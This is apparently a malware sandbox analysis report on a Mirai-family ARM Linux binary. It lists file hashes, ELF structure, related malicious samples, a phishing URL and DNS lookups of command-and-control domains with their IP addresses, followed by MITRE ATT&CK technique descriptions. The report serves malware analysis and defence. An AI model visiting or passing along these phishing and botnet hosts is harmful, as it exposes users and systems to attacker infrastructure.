	dmDgyJo66L.elf	Get hash	malicious	Mirai	Browse	4.38.145.66
	9qrl6oCa2z.elf	Get hash	malicious	Mirai	Browse	4.39.18.192
	arm.elf	Get hash	malicious	Mirai	Browse	4.38.170.44
	x86.elf	Get hash	malicious	Mirai	Browse	4.38.169.23
	0WdBnlwEBB.elf	Get hash	malicious	Mirai	Browse	4.39.54.202
	uTsXcPpJK6.elf	Get hash	malicious	Mirai	Browse	4.39.172.203
	W13jchNS4X.elf	Get hash	malicious	Mirai	Browse	107.117.74.7
	hR6s75mYfS.elf	Get hash	malicious	Mirai	Browse	4.38.169.65
	jjuKRgQ1rt.elf	Get hash	malicious	Mirai	Browse	4.38.145.70
	Cdsw5EQWa4.elf	Get hash	malicious	Mirai	Browse	4.39.172.215
	arm7.elf	Get hash	malicious	Mirai	Browse	4.39.172.212
	yQWPf8hWfh.elf	Get hash	malicious	Mirai	Browse	107.117.74.5
	p1CP8CoGB6.elf	Get hash	malicious	Mirai	Browse	8.14.19.181
	40Q36zxi8j.elf	Get hash	malicious	Mirai	Browse	4.38.169.75
	sora.arm.elf	Get hash	malicious	Mirai	Browse	4.39.172.241
	iojdGF3xsj.elf	Get hash	malicious	Mirai	Browse	4.38.169.72
	iAX4xy255g.elf	Get hash	malicious	Mirai	Browse	107.117.74.7
	AA2LVBRNVD.elf	Get hash	malicious	Mirai	Browse	155.165.238.231
ATT-INTERNET4US	gUuUJFJB45.elf	Get hash	malicious	Unknown	Browse	76.224.88.96
	276645788909871.htm_	Get hash	malicious	HTMLPhisher	Browse	69.152.183.140
	https://rclackson.ualinoidel.ru/7d693wcat	Get hash	malicious	HTMLPhisher	Browse	69.152.183.140
	arm.elf	Get hash	malicious	Mirai	Browse	75.45.81.112
	x86.elf	Get hash	malicious	Mirai	Browse	104.181.175.244
	GpREKk6uyn.elf	Get hash	malicious	Mirai	Browse	12.95.163.3
	49WzaP1GI2.elf	Get hash	malicious	Mirai	Browse	12.74.98.6
	KYuuWAo3C1.elf	Get hash	malicious	Mirai	Browse	99.64.188.234
	uKWWGpGChG.elf	Get hash	malicious	Mirai	Browse	172.127.235.110
	oLX4FU0V2k.elf	Get hash	malicious	Mirai	Browse	71.158.182.227
	3VNmL4P4sG.elf	Get hash	malicious	Mirai	Browse	216.60.3.82
	e3cfLPf0Ti.elf	Get hash	malicious	Mirai	Browse	66.139.153.130
	jo7EyIiUsZ.elf	Get hash	malicious	Mirai	Browse	107.254.209.197
	sora.arm.elf	Get hash	malicious	Mirai	Browse	12.124.61.147
	cool.x86.elf	Get hash	malicious	Unknown	Browse	99.126.229.154
	5IeMXZ5qeL.elf	Get hash	malicious	Mirai	Browse	76.233.177.17
	2jtSIERpll.elf	Get hash	malicious	Mirai	Browse	32.100.219.70
	KEn1azvafI.elf	Get hash	malicious	Mirai	Browse	162.233.207.94
	0MNcEkBEXT.elf	Get hash	malicious	Mirai	Browse	99.14.182.109
	gvUvZ3t4MP.elf	Get hash	malicious	Mirai	Browse	107.219.229.191

Process:	/tmp/a6YpIDPSBI.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	274
Entropy (8bit):	3.5627686824133726
Encrypted:	false
SSDEEP:	3:FVbQ9FQWUT+mkiF/VVp3FQWUT+mlIXvVl/VVdf/FVLADsVHI1v/VVdf/FVWAfDDX:Z2bS/VW2BXNl/VjmsVot/VOArB/VH
MD5:	AFCB48CC6F1C9E40C0500B86B30F33F4
SHA1:	43B726464D7DFAACDE8419FEDCEB6A45E6C4EF2C
SHA-256:	6CCDBB8F77D22F4C8B1C219A2B1ED27162488C2C9002143E197D0FAFCF171365
SHA-512:	5F2A2E08C18BE9435573E8B04DF63FADCBBEF337800DFCB809D16CA9D601529DACC714848BB8BFB8625D1034BB8C18F8197F519471F371757469F134CD4364F8
Malicious:	false
Reputation:	low
Preview:	8000-18000 r-xp 00000000 fd:00 531601 /tmp/a6YpIDPSBI.elf.1f000-20000 rw-p 0000f000 fd:00 531601 /tmp/a6YpIDPSBI.elf.20000-22000 rw-p 00000000 00:00 0 .ff7ef000-ff7f0000 ---p 00000000 00:00 0 .ff7f0000-ffff0000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	6.066560984012046
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	a6YpIDPSBI.elf
File size:	63'332 bytes
MD5:	68051b11ca3fddf4c9ab3f71b3960ba5
SHA1:	25c7883a9f3b634468f512ba411bb93272922eae
SHA256:	b1a5015113858c08dd0a0257417a12479506aea8056c29b4cd1d68e56087f00d
SHA512:	566b6d77814dadcee4919e453b6bdf00d875d3a7ad2b43a86ad76a3b4aaa726958f426d3ff94436936924599ec3f442b5cf24bb40afa00f318456168a32dab7d
SSDEEP:	1536:Kbke7Me3Wark48sIIJXT18joxUsxd8nR:/eoeox4Xi0xfxd
TLSH:	27530786BC91CA57C5D462BBBA5E42CC332523E8D2DF3213DD216F157B8A82F0D6B641
File Content Preview:	.ELF...a..........(.........4...........4. ...(.....................................................t...............Q.td..................................-...L."...~8..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8190
Flags:	0x202
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	62892
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0xe230	0x0	0x6	AX	16
.fini	PROGBITS	0x162e0	0xe2e0	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x162f4	0xe2f4	0x10fc	0x0	0x2	A	4
.ctors	PROGBITS	0x1f3f4	0xf3f4	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x1f3fc	0xf3fc	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x1f404	0xf404	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x1f408	0xf408	0x160	0x0	0x3	WA	4
.bss	NOBITS	0x1f568	0xf568	0x122c	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xf568	0x43	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0xf3f0	0xf3f0	6.0976	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0xf3f4	0x1f3f4	0x1f3f4	0x174	0x13a0	0.7524	0x6	RW	0x8000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 20, 2023 21:39:46.041857958 CET	192.168.2.13	51.254.162.59	0x9340	Standard query (0)	ksarpo.parody	A (IP address)	IN (0x0001)	false
Nov 20, 2023 21:39:57.220520020 CET	192.168.2.13	185.227.110.86	0x84c3	Standard query (0)	roaqxg.parody	A (IP address)	IN (0x0001)	false
Nov 20, 2023 21:40:13.232408047 CET	192.168.2.13	178.63.116.152	0x275e	Standard query (0)	ksarpo.parody	A (IP address)	IN (0x0001)	false
Nov 20, 2023 21:40:29.244594097 CET	192.168.2.13	51.254.162.59	0x9ece	Standard query (0)	roaqxg.parody	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 20, 2023 21:39:46.209712982 CET	51.254.162.59	192.168.2.13	0x9340	No error (0)	ksarpo.parody	45.95.147.179	A (IP address)	IN (0x0001)	false
Nov 20, 2023 21:39:46.209712982 CET	51.254.162.59	192.168.2.13	0x9340	No error (0)	ksarpo.parody	5.181.80.77	A (IP address)	IN (0x0001)	false
Nov 20, 2023 21:39:46.209712982 CET	51.254.162.59	192.168.2.13	0x9340	No error (0)	ksarpo.parody	91.92.254.4	A (IP address)	IN (0x0001)	false
Nov 20, 2023 21:39:46.209712982 CET	51.254.162.59	192.168.2.13	0x9340	No error (0)	ksarpo.parody	5.181.80.72	A (IP address)	IN (0x0001)	false
Nov 20, 2023 21:39:46.209712982 CET	51.254.162.59	192.168.2.13	0x9340	No error (0)	ksarpo.parody	5.181.80.55	A (IP address)	IN (0x0001)	false
Nov 20, 2023 21:39:46.209712982 CET	51.254.162.59	192.168.2.13	0x9340	No error (0)	ksarpo.parody	45.142.182.96	A (IP address)	IN (0x0001)	false
Nov 20, 2023 21:39:46.209712982 CET	51.254.162.59	192.168.2.13	0x9340	No error (0)	ksarpo.parody	5.181.80.81	A (IP address)	IN (0x0001)	false
Nov 20, 2023 21:39:46.209712982 CET	51.254.162.59	192.168.2.13	0x9340	No error (0)	ksarpo.parody	5.181.80.130	A (IP address)	IN (0x0001)	false
Nov 20, 2023 21:39:46.209712982 CET	51.254.162.59	192.168.2.13	0x9340	No error (0)	ksarpo.parody	37.221.95.74	A (IP address)	IN (0x0001)	false
Nov 20, 2023 21:39:46.209712982 CET	51.254.162.59	192.168.2.13	0x9340	No error (0)	ksarpo.parody	5.181.80.54	A (IP address)	IN (0x0001)	false
Nov 20, 2023 21:39:46.209712982 CET	51.254.162.59	192.168.2.13	0x9340	No error (0)	ksarpo.parody	5.181.80.102	A (IP address)	IN (0x0001)	false
Nov 20, 2023 21:39:46.209712982 CET	51.254.162.59	192.168.2.13	0x9340	No error (0)	ksarpo.parody	5.181.80.53	A (IP address)	IN (0x0001)	false
Nov 20, 2023 21:39:46.209712982 CET	51.254.162.59	192.168.2.13	0x9340	No error (0)	ksarpo.parody	5.181.80.59	A (IP address)	IN (0x0001)	false
Nov 20, 2023 21:40:29.428867102 CET	51.254.162.59	192.168.2.13	0x9ece	No error (0)	roaqxg.parody	5.181.80.55	A (IP address)	IN (0x0001)	false
Nov 20, 2023 21:40:29.428867102 CET	51.254.162.59	192.168.2.13	0x9ece	No error (0)	roaqxg.parody	5.181.80.77	A (IP address)	IN (0x0001)	false
Nov 20, 2023 21:40:29.428867102 CET	51.254.162.59	192.168.2.13	0x9ece	No error (0)	roaqxg.parody	5.181.80.72	A (IP address)	IN (0x0001)	false
Nov 20, 2023 21:40:29.428867102 CET	51.254.162.59	192.168.2.13	0x9ece	No error (0)	roaqxg.parody	5.181.80.81	A (IP address)	IN (0x0001)	false
Nov 20, 2023 21:40:29.428867102 CET	51.254.162.59	192.168.2.13	0x9ece	No error (0)	roaqxg.parody	5.181.80.54	A (IP address)	IN (0x0001)	false
Nov 20, 2023 21:40:29.428867102 CET	51.254.162.59	192.168.2.13	0x9ece	No error (0)	roaqxg.parody	5.181.80.53	A (IP address)	IN (0x0001)	false
Nov 20, 2023 21:40:29.428867102 CET	51.254.162.59	192.168.2.13	0x9ece	No error (0)	roaqxg.parody	5.181.80.130	A (IP address)	IN (0x0001)	false
Nov 20, 2023 21:40:29.428867102 CET	51.254.162.59	192.168.2.13	0x9ece	No error (0)	roaqxg.parody	91.92.254.4	A (IP address)	IN (0x0001)	false
Nov 20, 2023 21:40:29.428867102 CET	51.254.162.59	192.168.2.13	0x9ece	No error (0)	roaqxg.parody	5.181.80.102	A (IP address)	IN (0x0001)	false
Nov 20, 2023 21:40:29.428867102 CET	51.254.162.59	192.168.2.13	0x9ece	No error (0)	roaqxg.parody	5.181.80.59	A (IP address)	IN (0x0001)	false
Nov 20, 2023 21:40:29.428867102 CET	51.254.162.59	192.168.2.13	0x9ece	No error (0)	roaqxg.parody	37.221.95.74	A (IP address)	IN (0x0001)	false
Nov 20, 2023 21:40:29.428867102 CET	51.254.162.59	192.168.2.13	0x9ece	No error (0)	roaqxg.parody	45.95.147.179	A (IP address)	IN (0x0001)	false
Nov 20, 2023 21:40:29.428867102 CET	51.254.162.59	192.168.2.13	0x9ece	No error (0)	roaqxg.parody	45.142.182.96	A (IP address)	IN (0x0001)	false

Start time (UTC):	20:39:43
Start date (UTC):	20/11/2023
Path:	/tmp/a6YpIDPSBI.elf
Arguments:	/tmp/a6YpIDPSBI.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	20:39:44
Start date (UTC):	20/11/2023
Path:	/tmp/a6YpIDPSBI.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report a6YpIDPSBI.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

PCAP (Network Traffic)

Snort Signatures

Joe Sandbox Signatures

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0ActIw (deleted)

/tmp/qemu-open.0V2ABs (deleted)

/tmp/qemu-open.0W4puu (deleted)

/tmp/qemu-open.0bjG2t (deleted)

/tmp/qemu-open.0exeBw (deleted)

/tmp/qemu-open.1OiVmv (deleted)

/tmp/qemu-open.1S3nDu (deleted)

/tmp/qemu-open.254dev (deleted)

/tmp/qemu-open.281HTt (deleted)

/tmp/qemu-open.2QjUTs (deleted)

/tmp/qemu-open.2RMNIv (deleted)

/tmp/qemu-open.2fl3et (deleted)

/tmp/qemu-open.2iKsZs (deleted)

/tmp/qemu-open.2mZN4u (deleted)

/tmp/qemu-open.2qYJUu (deleted)

/tmp/qemu-open.2vtCSt (deleted)

/tmp/qemu-open.31nQdv (deleted)

/tmp/qemu-open.32Dycs (deleted)

/tmp/qemu-open.3QoXbv (deleted)

/tmp/qemu-open.3lHpDw (deleted)

/tmp/qemu-open.3nEX5u (deleted)

/tmp/qemu-open.3q7fDt (deleted)

/tmp/qemu-open.46Zigu (deleted)

/tmp/qemu-open.4BtFAt (deleted)

/tmp/qemu-open.4Fhgxw (deleted)

/tmp/qemu-open.4LVePs (deleted)

/tmp/qemu-open.4NDsBs (deleted)

/tmp/qemu-open.4S2Rut (deleted)

/tmp/qemu-open.4ajrQv (deleted)

/tmp/qemu-open.4ict2s (deleted)

Linux Analysis Report
a6YpIDPSBI.elf

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre